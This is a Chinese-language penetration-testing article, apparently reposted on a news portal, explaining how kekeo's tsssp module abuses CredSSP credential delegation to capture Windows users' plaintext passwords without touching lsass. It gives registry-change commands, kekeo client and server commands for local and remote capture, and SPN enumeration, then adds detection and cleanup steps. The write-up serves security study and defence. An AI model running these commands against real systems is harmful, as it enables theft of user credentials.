滲透技巧——通過CredSSP導出用戶的明文口令

2020-12-17 騰訊網

0x00 前言

在滲透測試中,為了獲得Windows系統中的用戶口令,通常會選擇讀取lsass進程的內存。這種方法不僅需要獲得系統的管理員權限,而且在更多情況下需要繞過系統對lsass進程的保護。

我在之前的文章《Windows下的密碼hash——Net-NTLMv1介紹》曾介紹過使用InternalMonologue獲得當前用戶憑據的方法(通過SSPI調用對NTLM身份驗證包(MSV1_0)的本地過程調用,以計算出NetNTLM響應),不需要對lsass進程操作。

本文將要介紹另外一種獲得當前用戶口令的方法,同樣不需要對lsass進程操作。

這是Benjamin @gentilkiwi Delpy開源的kekeo在2018年添加的功能,只需要修改Windows系統的組策略,就能夠以普通用戶的權限獲得用戶的明文口令。

本文將要對其中的原理進行簡要介紹,分析不同環境下的利用思路,給出防禦建議。

0x01 簡介

本文將要介紹以下內容:

·實現原理

·實現方法

·利用分析

·防禦檢測

0x02 實現原理

1.基礎知識

CredSSP

全稱Credential Security Support Provider protocol。

CredSSP協議的目的是將用戶的明文密碼從CredSSP客戶端委派給CredSSP伺服器。

CredSSP通常應用於遠程桌面服務(Remote Desktop Protocol)和Windows遠程管理(Windows Remote Management)(例如Powershell Remoting)。

CredSSP提供了加密的傳輸層安全協議通道。協商協議使用Kerberos和NTLM。

參考資料:

https://docs.microsoft.com/en-us/windows/win32/secauthn/credential-security-support-provider

2.通過組策略設置CredSSP的憑據分配

通過組策略可以指定使用CredSSP組件的應用程式是否發送默認憑據。

組策略位置:Computer Configuration->Administrative Templates->System->Credentials Delegation

如下圖:

Allow delegating default credentials表示在通過使用受信任的X509證書或Kerberos實現伺服器身份驗證時自動發送當前用戶的憑據。

Allow delegating default credentials with NTLM-only server authentication表示在通過NTLM實現伺服器身份驗證時自動發送當前用戶的憑據

組策略對應的註冊表位置:HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation。

3.CredSSP的憑據分配在遠程桌面服務上的應用

對於工作組環境,需要啟用Allow delegating default credentials with NTLM-only server authentication。

對於域環境,需要啟用Allow delegating default credentials。

開啟對應的組策略後,在使用遠程桌面連接時,會自動發送當前用戶的憑據(明文格式,不是hash)。

數據結構如下:

TSPasswordCreds ::= SEQUENCE {

domainName [0] OCTET STRING,

userName [1] OCTET STRING,

password [2] OCTET STRING

}

參考資料:

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-cssp/17773cc4-21e9-4a75-a0dd-72706b174fe5

4.實現原理

綜上,如果我們實現以下操作:

·修改主機A的組策略,設置為自動發送當前用戶的憑據

·在主機B上面實現服務端的功能,接收主機A發送的請求

那麼當我們控制主機A連接主機B時,主機B就能夠獲得主機A用戶的明文口令。

CredSSP協議細節可參考:

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-cssp/85f57821-40bb-46aa-bfcb-ba9590b8fc30

更近一步,如果我們實現以下操作:

·修改主機A的組策略,設置為自動發送當前用戶的憑據

·在主機A上面實現服務端的功能,接收主機A自己發送的請求

我們同樣能夠獲得用戶的明文口令。

註:keko的實現方式是通過SMB協議創建命名管道,而不是RDP協議。

如下圖:

0x03 實現方法

通過修改註冊表的方式添加組策略,命令如下:

reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v AllowDefaultCredentials /t REG_DWORD /d 1

reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v AllowDefCredentialsWhenNTLMOnly /t REG_DWORD /d 1

reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v ConcatenateDefaults_AllowDefault /t REG_DWORD /d 1

reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v ConcatenateDefaults_AllowDefNTLMOnly /t REG_DWORD /d 1

reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation\AllowDefaultCredentials /v 1 /t REG_SZ /d *

reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation\AllowDefCredentialsWhenNTLMOnly /v 1 /t REG_SZ /d *

添加組策略後,需要等待用戶重新登錄並輸入憑據後才能生效,例如鎖屏、註銷或重啟等。

對於不同的網絡環境,實現方法存在差異。

1.工作組網絡

身份驗證方式為NTLM。

(1)抓取本機口令

建立伺服器的kekeo命令如下(普通用戶權限):

tsssp::server

連接伺服器的kekeo命令如下(普通用戶權限):

tsssp::client /target:anyword

如下圖:

註:抓取本機口令時,target參數可以設置為任意字符。

2.域網絡

身份驗證方式為Kerberos

(1)抓取本機口令

建立伺服器的kekeo命令如下(普通用戶權限):

tsssp::server

連接伺服器的kekeo命令如下(普通用戶權限):

tsssp::client /target:anyword

註:抓取本機口令時,target參數可以設置為任意字符。

(2)抓取遠程主機口令

建立伺服器的kekeo命令如下(System權限):

tsssp::server

連接伺服器的kekeo命令如下(普通用戶權限):

tsssp::client /target:TERMSRV/COMPUTER01.test.com /pipe:\\COMPUTER01.test.com\pipe\kekeo_tsssp_endpoint

結果如下圖:

這裡使用的參數為域內計算機帳戶對應的SPN。

查看當前域內的所有SPN可以使用setspn命令:

setspn.exe -q */*

查看test域內的所有SPN:

setspn.exe -T test -q */*

0x04 利用分析

1.優點

不需要同lsass進程交互,所以能夠繞過對lsass進程的保護。

在修改組策略後,只需要普通用戶權限就能實現。

註:添加組策略後,需要等待用戶重新登錄並輸入憑據後才能生效,例如鎖屏、註銷或重啟等。

2.其他利用思路

(1)代碼的提取

我將kekeo的tsssp::client功能單獨提取出來,地址如下:

https://github.com/3gstudent/Homework-of-C-Language/blob/master/tsssp_client.cpp

代碼支持連接本地和遠程伺服器。

只需要填寫pipi參數,我的代碼會將target參數自動補全為TERMSRV/

連接本地的命令示例:

tsssp_client.exe localhost

測試如下圖:

連接遠程伺服器的命令示例:

tsssp_client.exe Computer01.test.com

測試如下圖:

kekeo的tsssp::server功能需要安裝OSS ASN.1/C

註:使用試用版的OSS ASN.1/C編譯生成的exe文件無法在未安裝OSS ASN.1/C的系統下使用。

(2)抓取其他用戶的口令

使用其他用戶的token啟動kekeo.exe或者tsssp_client.exe即可。

token的利用方法可參考《滲透技巧——Token竊取與利用》。

0x05 防禦檢測

1.查詢組策略配置

查詢註冊表的cmd命令如下:

reg query hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation

2.刪除組策略配置

刪除註冊表項的cmd命令如下:

reg delete hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /f

0x06 小結

本文介紹了kekeo的tsssp模塊在不同環境下的利用方法,結合利用思路給出防禦建議。

相關焦點

  • 滲透技巧——使用Mimilib從dump文件中導出口令
    從用戶模式轉儲文件導出口令的方法:可參考之前的文章《滲透基礎-從lsass.exe進程導出憑據》2.Kernel-Mode Dump Files即內核模式轉儲文件,分為以下五種:· Complete Memory Dump·
  • 滲透測試內網滲透之信息收集(一)
    此系列文章準備從內網滲透中信息收集、內網穿透、橫向移動、權限維持、內網潛伏與反制等方面進行學習。IPC$入侵也是一個老方法了,由於默認共享服務開啟,在獲取帳戶密碼後,可以通過共享服務批量上傳程序,然後通過計劃任務執行上傳的後門文件。
  • 導出windows密碼技巧大全
    #dir /a C:\Users\每個用戶\AppData\Local\Microsoft\Credentials\   //會把所有登錄的用戶的憑據加密文件都找出來2.guidMasterKe文件(2).需要結合微軟自帶的工具procdump導出lasss.exe(3).然後將其guidMasterKe文件和lass.exe文件下載到本地通過mimiktaz進行讀取解密,是繞過殺軟獲取明文的方法。
  • [網絡安全] 十九.Metasploit後滲透技術之信息收集和權限提權
    所以我希望通過這100多篇網絡安全文章,將Web滲透的相關工作、知識體系、學習路徑和探索過程分享給大家。未知攻,焉知防,且看且珍惜。前文將帶領大家了解Metasploit技術和基礎知識。這篇文章將介紹後滲透Meterpreter技術的信息收集和權限提升,結合作者之前的漏洞利用及逆向經驗總結。
  • 針對口令的暴力破解攻擊方式
    暴力破解暴力破解的基本思想很樸素:通過不斷重試來猜測口令。不過現在的系統都有防止自動化登錄的機制,如驗證碼、多次輸入錯誤口令後用戶受限等;同時系統基本都是採用存儲和對比口令摘要的方式進行驗證。而前面講過,摘要運算是單向加密,也就是無法從摘要計算出原文。
  • iPhone導出通訊錄小技巧【2】
    原標題:App今日免費:iPhone導出通訊錄小技巧     App今日免費:iPhone導出通訊錄小技巧   Excel通訊錄會將我們iPhone中所有聯繫人信息連同照片打包到一個Zip文件中,並通過Email、USB或僅能在本地區域網中訪問的網頁等方式導出到你的電腦中
  • App今日免費:iPhone導出通訊錄小技巧
    對於iPhone用戶來說使用iTunes導出通信錄著實不方便,今天我們就為大家推薦一款體驗很好的導出工具「Excel通訊錄」,讓你能輕鬆操控你的iPhone中最有價值的數據。
  • 明文存儲密碼,為何連谷歌也無法杜絕這種「蠢事」?
    一些小網站或許資料庫會明文存儲密碼,而知名網際網路公司絕無可能,但後者的業務系統頗為複雜,關聯功能可能意外隱藏著明文存儲漏洞,因此例行安全檢測都額外注意這點。2. 儘管大公司多數明文存儲漏洞沒有造成影響,但也有漏網之魚,被外界捕捉。3. 明文存儲密碼漏洞的主要由燈下黑、設計考慮不周、歷史遺留、過於自信這四個因素造成的。
  • 紅隊滲透手冊之釣魚篇
    紅隊滲透手冊之信息收集篇    紅隊滲透手冊之彈藥篇    沒0day,靠社工。基本都是常規操作加一點小技巧, 本文涉及所有信息均是公開信息, 部分手法均分析過或實踐過,  如有錯誤歡迎【斧】正, 如有補充也歡迎評論留言。
  • 2021暗月滲透測試全棧學習班
    24 高級注入技巧dnslog無回顯注入第九天 漏洞學習與挖掘 18課01 xss漏洞的挖掘與利用02 xss利用平臺搭建03 xss的繞過技巧04 xss加載payload05 文件包含漏洞發現與利用06 文件包含截斷07 代碼執行漏洞與利用08 命令執行漏洞與利用09 CSRF漏洞和利用10 越權漏洞和利用11 ssrf漏洞和利用12 xml實體注入13 身份繞過漏洞cookie14 身份繞過漏洞
  • 滲透技巧——Windows Token九種權限的利用
    在之前的文章《滲透技巧——從Admin權限切換到System權限》和《滲透技巧——Token竊取與利用》分別介紹了從admin權限切換到system權限和TrustedInstaller權限的方法,其中的主要方法是利用token切換權限。那麼,普通用戶(或者LocalService用戶)的特殊Token有哪些可利用方法呢?能否提權?如何判斷?
  • 好省怎麼獲取邀請口令,獲取好省邀請口令的方法
    很多人都在問好省邀請口令在哪裡獲取?目前好省內測期剛結束,其實懂得的人都應該知道,現在是紅利期。好省一直都在研發高顏值、高性價比的產品,深受米粉們喜歡。好省APP上線後,有很多粉絲知道後,就很想獲取可靠的邀請口令,那麼現在來說一下好省邀請口令怎麼獲取?
  • Github Bug 導致部分用戶密碼明文暴漏給內部員工
    上周國外多家媒體報導,在 Github 內部的日誌系統中,部分用戶的密碼以明文的形式暴漏給了內部員工。
  • 微信導出通訊錄:微信好友導出excel詳細教程
    情景一:微信帳號因違規或其他原因,被限制登錄的用戶請通過微信客戶端按以下指引進行自助解封: 1. 在微信客戶端登錄界面輸入帳號密碼,輕觸「登錄」彈出提示;2. 根據登錄彈出的提示進入解封流程,按照步驟操作進行解封。如果還是不能解除,建議耐心等待 7 天,因為一般 7 天后會自助恢復。
  • 最新丨2019版滲透測試面試題,值得一看!
    ,然後掃後臺登錄後臺,再在後臺通過改包上傳等方法上傳 Shell38、給你一個網站你是如何來滲透測試的? 引入一段用戶能控制的腳本或代碼,並讓伺服器端執行 (1)include()等函數通過動態變量的方式引入需要包含的文件;(2)用戶能夠控制該動態變量。
  • 網絡安全與Kali Linux滲透:內網與區域網攻防實戰技巧
    本節課你將了解到如何使用ARP欺騙竊取區域網用戶相關帳戶密碼,內容包括:如何開啟IP轉發怎樣竊取受害用戶相關帳號密碼一、如何開啟IP轉發在之前的截取受害者電腦圖片流量的課程中,我們也講過了要開啟IP轉發以及如何開啟,開啟IP轉發使受害者電腦能夠正常聯網,不至於打草驚蛇,方便我們後續的攻擊,這裡我們在重述一下如何開啟IP轉發。
  • 滲透測試崗位面試題多人實戰大匯總
    1352 lotus 爆破:弱口令\信息洩漏:原始碼 1433 mssql 爆破:使用系統用戶登錄\注入攻擊 1521 oracle 爆破:TNS\注入攻擊 2049 nfs 配置不當 2181
  • PHP腳本的8個技巧(5)採用PHP的用戶認證
    正在閱讀:PHP腳本的8個技巧(5)採用PHP的用戶認證PHP腳本的8個技巧(5)採用PHP的用戶認證2004-02-14 09:33出處:PConline作者:netant責任編輯:pjl採用PHP的用戶認證  如果你希望在每一個腳本的基礎上實現口令保護功能
  • Web安全:內網滲透工具
    事實上,黑客們一般談論的滲透都是指內網的滲透(包括外網等公開的網絡空間),即黑客在獲取目標網站的webshell並進入內網以後,就可通過內網滲透工具不斷提升自己權限,以達到控制整個內網的目的。圖1  流光2、lcxlcx是十分著名的內網埠轉發工具。